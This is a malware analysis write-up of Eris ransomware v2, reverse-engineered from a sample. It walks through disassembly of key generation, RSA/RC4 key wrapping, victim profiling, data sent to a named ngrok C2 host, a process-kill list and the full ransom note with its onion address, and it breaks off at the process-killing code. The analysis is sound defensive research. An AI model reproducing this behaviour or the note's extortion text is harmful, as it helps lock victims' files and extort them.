Go Under the Hood: Eris Ransomware

Eris ransomware was first discovered in May 2019. In July it was reported by Bleeping Computer that the malware was being distributed by the RIG exploit kit.

Here is a set of analysis notes for version two of the family. The sample used for the analysis has the hash of 99d19dd82330a1c437a64e7ca9896ad9d914de10c4f7aa2222b1a5bc4750f692

Malware overview

Version two of the Eris ransomware are made up of six packages.

Sync package used to collect victim information and send it to the operator.

Main package

Utils

Cryptography

Anti package used for wiping 3rd party backup files

Walk package used to walk the file system

A source code layout created by redress is shown below.

Package Eris/Sync: . File: . init Lines: 1 to 11 (10) GetOS Lines: 5 to 17 (12) GetSpace Lines: 11 to 12 (1) GetID Lines: 11 to 25 (14) GetGeo Lines: 12 to 22 (10) GetSyncInfo Lines: 17 to 85 (68) machineID Lines: 25 to 27 (2) GetSyns Lines: 85 to 451 (366) Package main: . File: . init Lines: 1 to 1 (0) Init Lines: 30 to 46 (16) main Lines: 46 to 236 (190) mainfunc1 Lines: 165 to 166 (1) ReadFileA Lines: 236 to 246 (10) LineCountA Lines: 246 to 250 (4) Package Eris/Utils: . File: . init Lines: 1 to 1 (0) RandStringBytes Lines: 18 to 35 (17) Kill Lines: 35 to 64 (29) initializers Lines: 43 to 44 (1) Execute Lines: 64 to 83 (19) (*WindowsProcess)Pid Lines: 78 to 82 (4) (*WindowsProcess)PPid Lines: 82 to 86 (4) GetDrive Lines: 83 to 107 (24) (*WindowsProcess)Executable Lines: 86 to 90 (4) newWindowsProcess Lines: 90 to 122 (32) Contains Lines: 107 to 119 (12) Exists Lines: 119 to 130 (11) processes Lines: 122 to 127 (5) Wrap Lines: 130 to 139 (9) Package Eris/Cryptography: . File: . init Lines: 1 to 1 (0) RC4Encrypt Lines: 5 to 15 (10) RSAGenerateKey Lines: 15 to 43 (28) Lock Lines: 23 to 57 (34) RSAEncrypt Lines: 43 to 46 (3) Package Eris/Anti: . File: . init Lines: 1 to 10 (9) WipeBackup Lines: 11 to 15 (4) Package Eris/Walk: . File: . init Lines: 1 to 116 (115) Check Lines: 10 to 18 (8) WalkDirectores Lines: 18 to 130 (112) WalkComputer Lines: 130 to 133 (3) WalkComputerfunc1 Lines: 133 to 142 (9) WalkComputerfunc2 Lines: 142 to 143 (1)

Technical breakdown

Loading import functions

The malware loads some additional imports in its init function. These imports are later used to list all the running processes.

(fcn) sym.Eris_Utils_init.ializers 0x0053df90 mov ecx, dword fs:[0x14] 0x0053df97 mov ecx, dword [ecx] 0x0053df9d cmp esp, dword [ecx + 8] 0x0053dfa0 jbe 0x53e101 0x0053dfa6 sub esp, 0x10 0x0053dfa9 lea eax, str_kernel32.dll ; "kernel32.dll" 0x0053dfaf mov dword [esp], eax 0x0053dfb2 mov dword [var_4h], 0xc 0x0053dfba call sym.syscall.NewLazyDLL 0x0053dfbf mov eax, dword [0x88be50] 0x0053dfc5 mov ecx, dword [var_8h] 0x0053dfc9 test eax, eax 0x0053dfcb jne 0x53e0ef 0x0053dfd1 mov dword [sym.hKernel32.dll], ecx 0x0053dfd7 mov dword [esp], ecx 0x0053dfda lea eax, [0x675b84] ; "CloseHandle" 0x0053dfe0 mov dword [var_4h], eax 0x0053dfe4 mov dword [var_8h], 0xb 0x0053dfec call sym.syscall___LazyDLL_.NewProc 0x0053dff1 mov eax, dword [0x88be50] 0x0053dff7 mov ecx, dword [var_ch] 0x0053dffb test eax, eax 0x0053dffd jne 0x53e0dd 0x0053e003 mov dword [sym.pCloseHandle], ecx 0x0053e009 mov eax, dword [sym.hKernel32.dll] 0x0053e00f mov dword [esp], eax 0x0053e012 lea eax, [0x67ae16] ; "CreateToolhelp32Snapshot" 0x0053e018 mov dword [var_4h], eax 0x0053e01c mov dword [var_8h], 0x18 0x0053e024 call sym.syscall___LazyDLL_.NewProc 0x0053e029 mov eax, dword [0x88be50] 0x0053e02f mov ecx, dword [var_ch] 0x0053e033 test eax, eax 0x0053e035 jne 0x53e0cb 0x0053e03b mov dword [sym.pCreateToolhelp32Snapshot], ecx 0x0053e041 mov eax, dword [sym.hKernel32.dll] 0x0053e047 mov dword [esp], eax 0x0053e04a lea eax, [0x6772a1] ; "Process32FirstW" 0x0053e050 mov dword [var_4h], eax 0x0053e054 mov dword [var_8h], 0xf 0x0053e05c call sym.syscall___LazyDLL_.NewProc 0x0053e061 mov eax, dword [0x88be50] 0x0053e067 mov ecx, dword [var_ch] 0x0053e06b test eax, eax 0x0053e06d jne 0x53e0bc 0x0053e06f mov dword [sym.pProcess32FirstW], ecx 0x0053e075 mov eax, dword [sym.hKernel32.dll] 0x0053e07b mov dword [esp], eax 0x0053e07e lea eax, [0x676d3a] ; "Process32NextW" 0x0053e084 mov dword [var_4h], eax 0x0053e088 mov dword [var_8h], 0xe 0x0053e090 call sym.syscall___LazyDLL_.NewProc 0x0053e095 mov eax, dword [0x88be50] 0x0053e09b mov ecx, dword [var_ch] 0x0053e09f test eax, eax 0x0053e0a1 jne 0x53e0ad 0x0053e0a3 mov dword [sym.pProcess32NextW], ecx 0x0053e0a9 add esp, 0x10 0x0053e0ac ret

Encryption key generation

The malware uses the following struct to store the keys generated for the victim.

type main.Session struct { Extension string PUBLIC_KEY []uint8 E_PRIVATE_KEY []uint8 }

It is also stored encrypted on the disk. The following snippet shows the generation of file path to the files.

0x005fe3ff lea eax, [0x6770d0] ; "ALLUSERSPROFILE" 0x005fe405 mov dword [esp], eax 0x005fe408 mov dword [var_4h], 0xf 0x005fe410 call fcn.os.Getenv 0x005fe415 mov eax, dword [var_ch] 0x005fe419 mov ecx, dword [var_8h] 0x005fe41d mov dword [esp], ecx 0x005fe420 mov dword [var_4h], eax 0x005fe424 call fcn.runtime.convTstring 0x005fe429 mov eax, dword [var_8h] 0x005fe42d mov dword [var_198h], 0 0x005fe438 mov dword [var_19ch], 0 0x005fe443 mov dword [var_1a0h], 0 0x005fe44e mov dword [var_1a4h], 0 0x005fe459 lea ecx, sym.type.string 0x005fe45f mov dword [var_198h], ecx 0x005fe466 mov dword [var_19ch], eax 0x005fe46d mov dword [var_1a0h], ecx 0x005fe474 lea eax, [0x6cec98] ; "00000000.pky" 0x005fe47a mov dword [var_1a4h], eax 0x005fe481 lea eax, [0x6745d6] ; "%s\%s" 0x005fe487 mov dword [esp], eax 0x005fe48a mov dword [var_4h], 5 0x005fe492 lea edx, [var_198h] 0x005fe499 mov dword [var_8h], edx 0x005fe49d mov dword [var_ch], 2 0x005fe4a5 mov dword [var_10h], 2 0x005fe4ad call fcn.fmt.Sprintf

The data is stored in these three files:

%ALLUSERSPROFILE%\00000000.pky

%ALLUSERSPROFILE%\00000000.eky

%ALLUSERSPROFILE%\00000000.ext

If files already exists, they are used instead of generating a new key.

0x005fe65a mov edx, dword [pky_path_str] 0x005fe661 mov dword [esp], edx 0x005fe664 mov ebx, dword [pky_path_str_len] 0x005fe66b mov dword [var_4h], ebx 0x005fe66f call fcn.Eris_Utils.Exists 0x005fe674 movzx eax, byte [var_8h] 0x005fe679 test al, al 0x005fe67b je 0x5ff0c4 0x005fe681 mov eax, dword [pky_path_str] 0x005fe688 mov dword [esp], eax 0x005fe68b mov eax, dword [pky_path_str_len] 0x005fe692 mov dword [var_4h], eax 0x005fe696 call fcn.main.ReadFileA 0x005fe69b mov eax, dword [var_14h] 0x005fe69f mov ecx, dword [var_10h] 0x005fe6a3 mov edx, dword [var_8h] 0x005fe6a7 mov ebx, dword [var_ch] 0x005fe6ab test eax, eax

The victim’s private key is encrypted with the threat actor’s public key. The encrypted blob is further encrypted RC4.

0x005ff212 lea esi, [0x68736a] ; Public key 0x005ff218 call fcn.0044d9f0 0x005ff21d mov ecx, dword [var_174h] 0x005ff224 mov dword [esp], ecx 0x005ff227 mov dword [var_4h], 0x80 0x005ff22f mov dword [var_8h], 0x80 0x005ff237 mov dword [var_ch], eax 0x005ff23b mov dword [var_10h], 0x1c3 0x005ff243 mov dword [var_14h], 0x1c3 0x005ff24b call fcn.Eris_Cryptography.RSAEncrypt 0x005ff250 mov eax, dword [var_20h] 0x005ff254 mov dword [var_8ch], eax 0x005ff25b mov ecx, dword [var_1ch] 0x005ff25f mov dword [var_84h], ecx 0x005ff266 mov edx, dword [var_18h] 0x005ff26a mov dword [var_140h], edx 0x005ff271 mov ebx, dword [var_148h] 0x005ff278 mov dword [esp], ebx 0x005ff27b mov ebx, dword [var_98h] 0x005ff282 mov dword [var_4h], ebx 0x005ff286 mov ebx, dword [var_9ch] 0x005ff28d mov dword [var_8h], ebx 0x005ff291 mov ebx, dword [var_174h] 0x005ff298 mov dword [var_ch], ebx 0x005ff29c mov dword [var_10h], 0x80 0x005ff2a4 mov dword [var_14h], 0x80 0x005ff2ac call fcn.Eris_Cryptography.RC4Encrypt 0x005ff2b1 mov eax, dword [var_1ch] 0x005ff2b5 mov dword [var_88h], eax 0x005ff2bc mov ecx, dword [var_18h] 0x005ff2c0 mov dword [var_13ch], ecx 0x005ff2c7 mov edx, dword [var_20h] 0x005ff2cb mov dword [var_90h], edx

Threat actor’s key:

--BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiVFawLHK0Gld4XUYi7Wq 1ura1N78VvOuW4kvH/yDYOajqRx7nqFB2mokTDqHa5phT48FtLMbuFc+j39YnZBa jjSN2zDaC13vDRNXfiW41yJAtMAJXh17cE/lAdAgEUQdYwJPVHfDuCPGGO5Dn+hg xehdJvIiNFbKCCFP7EojDH0kK1h9p8TngwqHySBNLUADKeONKPk171oe+5isEnbF VjBcinGF13V/CRBKXsrH2z7BCWtyZTG+MWXRqUOn2mYOFgt4ZNOe4U0nz6/A1YmJ V8NybH2vHp4Bs/ov7RcnQUvW0BwG0/xp6YDSaOt59A0rEbJE0+J3NTlEVPesehOr xwIDAQAB -----END PUBLIC KEY-----

The malware also looks for the existence of the file: C:\eris.was

0x005fe7f2 lea eax, [0x675b79] ; "C:\eris.was" 0x005fe7f8 mov dword [esp], eax 0x005fe7fb mov dword [var_4h], 0xb 0x005fe803 call fcn.Eris_Utils.Exists 0x005fe808 movzx eax, byte [var_8h] 0x005fe80d test al, al 0x005fe80f jne 0x5ff05d 0x005fe815 xor eax, eax 0x005fe817 mov dword [var_94h], eax 0x005fe81e mov ecx, dword [session] 0x005fe825 mov edx, dword [ecx + 0x14] 0x005fe828 mov ebx, dword [ecx + 0x18] 0x005fe82b mov ebp, dword [ecx + 0x1c] 0x005fe82e mov dword [esp], edx 0x005fe831 mov dword [var_4h], ebx 0x005fe835 mov dword [var_8h], ebp 0x005fe839 call fcn.Eris_Sync.GetSyns

Victim information

The Eris malware collects information about the infected system. The data is populated into the structure shown below.

type Struct.BotJson struct{ UID string SID string Kind int Storage []struct { Alphabet string `json:"alphabet"` Label string `json:"label"` Type int `json:"type"` Free int64 `json:"free"` Full int64 `json:"full"` } Extension string OS string UserName string PCName string Country string City string IP string Org string Stage1 string Stage2 string Date int64 }

Username is collected from the environment variable and the host name is retrieved via the standard library function:

0x005f8d21 lea ecx, [0x67505a] ; "USERNAME" 0x005f8d27 mov dword [esp], ecx 0x005f8d2a mov dword [var_4h], 8 0x005f8d32 call fcn.os.Getenv 0x005f8d37 mov ecx, dword [var_8h] 0x005f8d3b mov edx, dword [var_ch] 0x005f8d3f mov dword [username_str], ecx 0x005f8d46 mov dword [username_str_len], edx 0x005f8d4d nop 0x005f8d4e call fcn.os.hostname 0x005f8d53 mov ecx, dword [esp] 0x005f8d56 mov edx, dword [var_4h] 0x005f8d5a mov ebx, dword [var_8h] 0x005f8d5e test ebx, ebx 0x005f8d60 je 0x5f8f7e 0x005f8d66 lea eax, [0x674dca] ; "unknown" 0x005f8d6c mov dword [hostname_str], eax 0x005f8d73 mov dword [hostname_str_len], 7 ... 0x005f8f7e mov dword [hostname_str], ecx 0x005f8f85 mov dword [hostname_str_len], edx 0x005f8f8c jmp 0x5f8d7e

The ID of the machine is generated from the machine ID. First the GUID is fetched from the registry. A summary of the Eris_Sync.machineID function is shown below.

0x005f8a10 "SOFTWARE\Microsoft\Cryptography" 0x005f8a2a call sym.golang.org_x_sys_windows_registry.OpenKey 0x005f8a5c call sym.runtime.deferproc 0x005f8a63 cjmp 0x005f8b0d 0x005f8a6f cjmp 0x005f8ae7 0x005f8a78 "MachineGuid" 0x005f8a8a call sym.golang.org_x_sys_windows_registry_Key.GetStringValue 0x005f8aa1 cjmp 0x005f8ac5 0x005f8abc call sym.runtime.deferreturn 0x005f8ac5: 0x005f8ade call sym.runtime.deferreturn 0x005f8ae7: 0x005f8b04 call sym.runtime.deferreturn 0x005f8b0d: 0x005f8b0e call sym.runtime.deferreturn 0x005f8b17: 0x005f8b17 call sym.runtime.morestack_noctxt 0x005f8b1c jmp 0x005f89d0 0x005f8b1c sym.Eris_Sync.machineID

The GUID is hashed with SHA1 and the hex-encoded string is used as the ID. If no GUID is found, the ID is generated from a set of random bytes. Below is a Ghidra decompiled representation of the function.

void sym.Eris_Sync.GetID(undefined4 uParm1, undefined4 uParm2) { uint32_t *puVar1; int32_t iVar2; int32_t iVar3; int32_t in_FS_OFFSET; undefined4 *in_stack_ffffffa4; undefined4 *in_stack_ffffffa8; undefined4 *puVar4; undefined4 *in_stack_ffffffac; undefined4 *in_stack_ffffffb0; int32_t in_stack_ffffffb4; uint32_t in_stack_ffffffb8; uint32_t uVar5; int32_t in_stack_ffffffbc; undefined4 uStack56; int32_t iStack52; undefined4 uStack48; sym.Eris_Sync.machineID(); puVar4 = in_stack_ffffffa8; if ((in_stack_ffffffac != (undefined4 *)0x0) && (in_stack_ffffffa8 == (undefined4 *)0x0)) { // If no GUID, generate random string. in_stack_ffffffa4 = in_stack_ffffffa8; in_stack_ffffffa8 = in_stack_ffffffac; sym.Eris_Utils.RandStringBytes(0x20); puVar4 = in_stack_ffffffa4; } sym.runtime.newobject(sym.type.sha1.digest); *puVar4 = 0x67452301; puVar4[1] = 0xefcdab89; puVar4[2] = 0x98badcfe; puVar4[3] = 0x10325476; puVar4[4] = 0xc3d2e1f0; puVar4[0x15] = 0; puVar4[0x16] = 0; puVar4[0x17] = 0; sym.runtime.stringtoslicebyte(0, in_stack_ffffffa4, in_stack_ffffffa8); sym.crypto_sha1___digest_.Write(puVar4, in_stack_ffffffb0, in_stack_ffffffb4, in_stack_ffffffb8); sym.runtime.newobject(sym.type._9_uint8); *in_stack_ffffffb0 = 0x6e617247; *(undefined4 *)((int32_t)in_stack_ffffffb0 + 1) = 0x646e6172; *(undefined4 *)((int32_t)in_stack_ffffffb0 + 5) = 0x73697245; sym.crypto_sha1___digest_.Write(puVar4, in_stack_ffffffb0, 9, 9); sym.crypto_sha1___digest_.Sum(puVar4, 0, 0, 0); iVar2 = in_stack_ffffffb4; uVar5 = in_stack_ffffffb8; iVar3 = in_stack_ffffffbc; sym.crypto_sha1___digest_.Sum(puVar4, 0, 0, 0); if (7 < uVar5) { iVar2 = iVar2 + (-(iVar3 + -8) >> 0x1f & 8U); sym.golang.org_x_crypto_pbkdf2.Key(in_stack_ffffffb4, in_stack_ffffffb8, in_stack_ffffffbc, iVar2, uVar5 - 8, iVar3 + -8, 0x7e4, 8, 0x68ae74); iVar3 = iStack52 << 1; sym.runtime.makeslice(sym.type.uint8, iVar3, iVar3); sym.encoding_hex.Encode(iVar2, iVar3, iVar3, uStack56, iStack52, uStack48); sym.runtime.slicebytetostring(0, iVar2, iVar3, iVar3); return; } sym.runtime.panicslice(); do { invalidInstructionException(); } while( true ); }

Disk space is gathered from all disks attached. First the malware checks which drive letters exist.

0x005f7f92 cmp ecx, 0x1a ; 26 0x005f7f95 jge 0x5f80c7 0x005f7f9b mov dword [var_3ch], ecx 0x005f7f9f mov dword [var_4ch], ebx 0x005f7fa3 lea eax, [var_64h] 0x005f7fa7 mov dword [esp], eax 0x005f7faa lea eax, [ecx + 0x41] 0x005f7fad mov dword [var_4h], eax 0x005f7fb1 sar eax, 0x1f 0x005f7fb4 mov dword [var_8h], eax 0x005f7fb8 call fcn.runtime.intstring 0x005f7fbd mov eax, dword [var_10h] 0x005f7fc1 mov ecx, dword [var_ch] 0x005f7fc5 mov dword [esp], 0 0x005f7fcc mov dword [var_4h], ecx 0x005f7fd0 mov dword [var_8h], eax 0x005f7fd4 lea eax, [0x673e20] ; ":\" 0x005f7fda mov dword [var_ch], eax 0x005f7fde mov dword [var_10h], 2 0x005f7fe6 call fcn.runtime.concatstring2 0x005f7feb mov eax, dword [var_18h] 0x005f7fef mov dword [var_50h], eax 0x005f7ff3 mov ecx, dword [var_14h] 0x005f7ff7 mov dword [var_474h], ecx 0x005f7ffe mov dword [esp], ecx 0x005f8001 mov dword [var_4h], eax 0x005f8005 call fcn.os.Stat 0x005f800a mov eax, dword [var_10h] 0x005f800e mov ecx, dword [var_14h] 0x005f8012 mov dword [esp], eax 0x005f8015 mov dword [var_4h], ecx 0x005f8019 call fcn.os.IsNotExist 0x005f801e movzx eax, byte [var_8h] 0x005f8023 test al, al

The disk space is gotten by calling GetVolumeInformationW .

0x005f82e9 lea edx, [0x67983a] ; "GetVolumeInformationW" 0x005f82ef mov dword [var_4h], edx 0x005f82f3 mov dword [var_8h], 0x15 0x005f82fb call fcn.syscall.GetProcAddress 0x005f8300 mov edx, dword [var_ch] 0x005f8304 mov dword [pGetVolumeInformationW], edx 0x005f8308 mov ebx, dword [var_470h] 0x005f830f mov dword [esp], ebx 0x005f8312 mov ebp, dword [var_38h] 0x005f8316 mov dword [var_4h], ebp 0x005f831a call fcn.syscall.StringToUTF16Ptr 0x005f831f mov edx, dword [var_8h] 0x005f8323 mov dword [var_498h], edx 0x005f832a lea edx, [var_266h] 0x005f8331 mov dword [var_494h], edx 0x005f8338 lea ebx, [var_54h] 0x005f833c mov dword [var_490h], ebx 0x005f8343 lea ebx, [var_58h] 0x005f8347 mov dword [var_48ch], ebx 0x005f834e lea ebx, [var_5ch] 0x005f8352 mov dword [var_488h], ebx 0x005f8359 lea ebx, [var_68h] 0x005f835d mov dword [var_484h], ebx 0x005f8364 mov ebx, dword [pGetVolumeInformationW] 0x005f8368 mov dword [esp], ebx 0x005f836b mov dword [var_4h], 8 0x005f8373 mov ebx, dword [var_498h] 0x005f837a mov dword [var_8h], ebx 0x005f837e mov ebx, dword [var_494h] 0x005f8385 mov dword [var_ch], ebx 0x005f8389 mov dword [var_10h], 0x105 0x005f8391 mov ebx, dword [var_490h] 0x005f8398 mov dword [var_14h], ebx 0x005f839c mov ebx, dword [var_48ch] 0x005f83a3 mov dword [var_18h], ebx 0x005f83a7 mov ebx, dword [var_488h] 0x005f83ae mov dword [var_1ch], ebx 0x005f83b2 mov ebx, dword [var_484h] 0x005f83b9 mov dword [var_20h], ebx 0x005f83bd mov dword [var_24h], 0x105 0x005f83c5 mov dword [var_28h], 0 0x005f83cd call fcn.syscall.Syscall9

0x005f80fa mov eax, dword [var_470h] 0x005f8101 mov dword [esp], eax 0x005f8104 mov ecx, dword [var_38h] 0x005f8108 mov dword [var_4h], ecx 0x005f810c call fcn.syscall.StringToUTF16Ptr 0x005f8111 mov eax, dword [var_8h] 0x005f8115 mov dword [var_49ch], eax 0x005f811c lea ecx, sym.type._4_uintptr 0x005f8122 mov dword [esp], ecx 0x005f8125 call fcn.runtime.newobject 0x005f812a mov eax, dword [var_4h] 0x005f812e mov ecx, dword [var_49ch] 0x005f8135 mov dword [eax], ecx 0x005f8137 mov ecx, dword [var_4ach] 0x005f813e mov dword [eax + 4], ecx 0x005f8141 mov ecx, dword [var_4a8h] 0x005f8148 mov dword [eax + 8], ecx 0x005f814b mov ecx, dword [var_4b0h] 0x005f8152 mov dword [eax + 0xc], ecx 0x005f8155 mov ecx, dword [pGetDiskFreeSpaceExW] 0x005f815c mov dword [esp], ecx 0x005f815f mov dword [var_4h], eax 0x005f8163 mov dword [var_8h], 4 0x005f816b mov dword [var_ch], 4 0x005f8173 call fcn.syscall___Proc_.Call 0x005f8178 mov eax, dword [var_470h] 0x005f817f mov dword [esp], eax 0x005f8182 mov eax, dword [var_38h] 0x005f8186 mov dword [var_4h], eax 0x005f818a call fcn.syscall.StringToUTF16Ptr 0x005f818f mov eax, dword [var_8h] 0x005f8193 mov dword [esp], eax 0x005f8196 call fcn.golang.org_x_sys_windows.GetDriveType

The information for each drive is stored in a slice of structs as shown below.

Returns:

[]struct { Alphabet string `json:"alphabet"` Label string `json:"label"` Type int `json:"type"` Free int64 `json:"free"` Full int64 `json:"full"` }

Operating information is collected from the registry key ProductName . Below is a Ghidra decompiled representation of the function.

void fcn.Eris_Sync.GetOS(undefined4 uParm1, undefined4 uParm2) { while (puVar1 = (uint32_t *)(**(int32_t **)(in_FS_OFFSET + 0x14) + 8), register0x00000010 < (undefined *)*puVar1 || (undefined *)register0x00000010 == (undefined *)*puVar1) { fcn.runtime.morestack_noctxt(); } uParm1 = 0; uParm2 = 0; uVar3 = 0xf003f; key = fcn.golang.org_x_sys_windows_registry.OpenKey(0x80000002, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0xf003f); fcn.runtime.deferproc(0xc, 0x68afc4, uStack24); if (key != 0) { if (iStack20 == 0) { prod_name = fcn.golang.org_x_sys_windows_registry_Key.GetStringValue(key, "ProductName"); uParm1 = uVar3; if (prod_name != 0) { fcn.runtime.deferreturn(); return prod_name; } } fcn.runtime.deferreturn(); return "unknown"; }

Geo-location is gathered by performing a request to extreme-ip-lookup.com

0x005f84c4 lea ecx, sym.type.http.Client 0x005f84ca mov dword [esp], ecx 0x005f84cd call fcn.runtime.newobject 0x005f84d2 mov ecx, dword [var_4h] 0x005f84d6 mov dword [var_34h], ecx 0x005f84da mov dword [ecx + 0x14], 0x540be400 0x005f84e1 mov dword [ecx + 0x18], 2 0x005f84e8 lea edx, sym.type.Struct.Geo 0x005f84ee mov dword [esp], edx 0x005f84f1 call fcn.runtime.newobject 0x005f84f6 mov ecx, dword [var_4h] 0x005f84fa mov dword [var_44h], ecx 0x005f84fe lea edx, [0x673fa6] ; "GET" 0x005f8504 mov dword [esp], edx 0x005f8507 mov dword [var_4h], 3 0x005f850f lea edx, [0x67f274] ; "http://extreme-ip-lookup.com/json/ 0x005f8515 mov dword [var_8h], edx 0x005f8519 mov dword [var_ch], 0x22 0x005f8521 mov dword [var_10h], 0 0x005f8529 mov dword [var_14h], 0 0x005f8531 call fcn.net_http.NewRequest 0x005f8536 mov ecx, dword [var_18h]

User agent used: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36

Data returned from the service:

type Struct.Geo struct { BusinessName string BusinessWebsite string City string Continent string Country string CountryCode string IPName string IPType string Isp string Lat string Lon string Org string Query string Region string Status string }

The data is sent to the C2 server located at d9d120a3.ngrok.io . The malware tries three times.

0x005fe815 xor eax, eax .-> 0x005fe817 mov dword [var_94h], eax : 0x005fe81e mov ecx, dword [session] : 0x005fe825 mov edx, dword [ecx + 0x14] : 0x005fe828 mov ebx, dword [ecx + 0x18] : 0x005fe82b mov ebp, dword [ecx + 0x1c] : 0x005fe82e mov dword [esp], edx : 0x005fe831 mov dword [var_4h], ebx : 0x005fe835 mov dword [var_8h], ebp : 0x005fe839 call fcn.Eris_Sync.GetSyns : 0x005fe83e mov eax, dword [var_18h] : 0x005fe842 test eax, eax ,==< 0x005fe844 je 0x5fe853 |: 0x005fe846 mov eax, dword [var_94h] |: 0x005fe84d inc eax |: 0x005fe84e cmp eax, 3 |`=< 0x005fe851 jle 0x5fe817 `--> 0x005fe853 mov eax, dword [session]

Summary of function that sends the data:

0x005f8fa0: 0x005f8fb9 sym.type.http.Client 0x005f8fc2 call fcn.runtime.newobject 0x005f8ffd sym.type.string 0x005f9007 "d9d120a3.ngrok.io" 0x005f9015 "redirect" 0x005f901f "https://%s/%" 0x005f9048 call fcn.fmt.Sprintf 0x005f905e sym.type.bytes.Buffer 0x005f9067 call fcn.runtime.newobject 0x005f9086 cjmp 0x005f92c5 0x005f9092: 0x005f9092 "POST" 0x005f90c1 call fcn.net_http.NewRequest 0x005f90d6 sym.type.Struct.Response 0x005f90df call fcn.runtime.newobject 0x005f90ee cjmp 0x005f9118 0x005f90f0: 0x005f9118: 0x005f9129 "User-Agent" 0x005f913a call fcn.net_textproto.CanonicalMIMEHeaderKey 0x005f914f sym.type._1_string 0x005f9158 call fcn.runtime.newobject 0x005f9174 cjmp 0x005f92b5 0x005f917a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" 0x005f9182: 0x005f9182 sym.type.textproto.MIMEHeader 0x005f91a3 call fcn.runtime.mapassign_faststr 0x005f91c2 cjmp 0x005f92a7 0x005f91ce: 0x005f91de call fcn.net_http___Client_.do 0x005f91ed cjmp 0x005f91f8 0x005f91ef: 0x005f91f3 jmp 0x005f90f0 0x005f91f8: 0x005f91fe sym.type.io.Reader 0x005f920f call fcn.runtime.convI2I 0x005f9234 call fcn.io_ioutil.readAll 0x005f924b cjmp 0x005f91ef 0x005f9258 sym.type._Struct.Response 0x005f926a call fcn.encoding_json.Unmarshal

The server response with the following data in JSON:

type Struct.Response struct { Response string Code int }

Ransomware initialization

Before encrypting files, the malware prepares the ransom note. The note is shown below. The malware performs the following operations on the note template:

Replace {version} with 2.0.3

with Replace {host} with [[epaybfvlutydks6fpfwtwoe2fsph6vve2obgv6qbhyuqwkecbhsf7nyd.onion]]

with Replace {id} with the id.

with the id. Replace {identification} with base58 encoded encrypted key.

*** ***\x0d *** READ THIS FILE CAREFULLY TO RECOVERY YOUR FILES ***\x0d *** ***\x0d \x0d \x0d \x0d ALERT! \x0d ALL OF YOUR FILES HAVE BEEN ENCRYPTED BY "ERIS RANSOMWARE" v{version}!\x0d \x0d Welcome to Eris System Security Encryption Program!\x0d \x0d Keeping strong security for our clients in mind, we have implemented Strong Encryption Algorithm for securing the system.\x0d \x0d To personally update regarding the available decryption software and payment methods. Follow the steps below to access the payment page.\x0d \x0d \x0d Follow the steps below to access payment page.\x0d \x0d 1. Download and install Tor browser from here:\x0d URL - https://www.torproject.org/download/\x0d \x0d 2. Visit page below using Tor browser:\x0d URL - http://{host}/{id}\x0d \x0d 3. Enter your "ERIS IDENTIFICATION". (You can find it in below)\x0d \x0d 4. Follow the next steps(instructions) displayed on the page for successful decryption.\x0d \x0d Note: \x0d We only accept payments via Bitcoin (BTC)!\x0d \x0d \x0d ERIS IDENTIFICATION:\x0d \x0d {identification}\x0d \x0d \x0d * IF YOU NOT FOLLOW INSTRUCTIONS IN PAYMENT PAGE MORE THAN 7 DAYS!,\x0d YOUR CANNOT ACCESS TO PAYMENT PAGE OR YOUR FILES ANYMORE!\x0d \x0d * IN CASE OF FOLLOWING OUR INSTRUCTION,\x0d FAST AND EASILY EVERYTHING IS BACK TO NORMAL LIKE THAT NEVER HAPPENED!\x0d BUT IF YOU USE OTHER METHODS (THAT NEVER EVER HELPS) YOU JUST DESTROY EVERYTHING FOR GOODNESS!\x0d \x0d ---------------------------------\x0d * DO NOT MODIFY ENCRYPTED FILE(S)\x0d * DO NOT MOVE ENCRYPTED FILES\x0d * DO NOT USE RECOVERY SOFTWARE(S)\x0d ---------------------------------

Process enumeration

The malware enumerates all the running processes:

0x0053d024 mov ecx, dword [sym.pCreateToolhelp32Snapshot] 0x0053d02a mov dword [esp], ecx 0x0053d02d mov dword [var_4h], eax 0x0053d031 mov dword [var_8h], 2 0x0053d039 mov dword [var_ch], 2 0x0053d041 call fcn.syscall___LazyProc_.Call 0x0053d046 mov eax, dword [var_10h] 0x0053d04a test eax, eax 0x0053d04c jb 0x53d326 0x0053d052 mov dword [var_34h], eax 0x0053d056 lea eax, sym.type._1_uintptr 0x0053d05c mov dword [esp], eax 0x0053d05f call fcn.runtime.newobject 0x0053d064 mov eax, dword [var_4h] 0x0053d068 mov ecx, dword [var_34h] 0x0053d06c mov dword [eax], ecx 0x0053d06e mov dword [esp], 0x20 0x0053d075 lea edx, [0x68b3dc] 0x0053d07b mov dword [var_4h], edx 0x0053d07f mov edx, dword [sym.pCloseHandle] 0x0053d085 mov dword [var_8h], edx 0x0053d089 mov dword [var_ch], eax 0x0053d08d mov dword [var_10h], 1 0x0053d095 mov dword [var_14h], 1 0x0053d09d call fcn.runtime.deferproc 0x0053d0a2 test eax, eax 0x0053d0a4 jne 0x53d31c 0x0053d0aa lea eax, sym.type.Utils.PROCESSENTRY32 0x0053d0b0 mov dword [esp], eax 0x0053d0b3 call fcn.runtime.newobject 0x0053d0b8 mov eax, dword [var_4h] 0x0053d0bc mov dword [var_48h], eax 0x0053d0c0 mov dword [eax], 0x22c 0x0053d0c6 lea ecx, sym.type._2_uintptr 0x0053d0cc mov dword [esp], ecx 0x0053d0cf call fcn.runtime.newobject 0x0053d0d4 mov eax, dword [var_4h] 0x0053d0d8 mov ecx, dword [var_34h] 0x0053d0dc mov dword [eax], ecx 0x0053d0de mov edx, dword [var_48h] 0x0053d0e2 mov dword [eax + 4], edx 0x0053d0e5 mov edx, dword [sym.pProcess32FirstW] 0x0053d0eb mov dword [esp], edx 0x0053d0ee mov dword [var_4h], eax 0x0053d0f2 mov dword [var_8h], 2 0x0053d0fa mov dword [var_ch], 2 0x0053d102 call fcn.syscall___LazyProc_.Call 0x0053d107 mov eax, dword [var_10h]

If any of the running processes name contain any of the strings below, it is killed.

sql

backup

malware

server

http

apache

agent

Code for killing the processes:

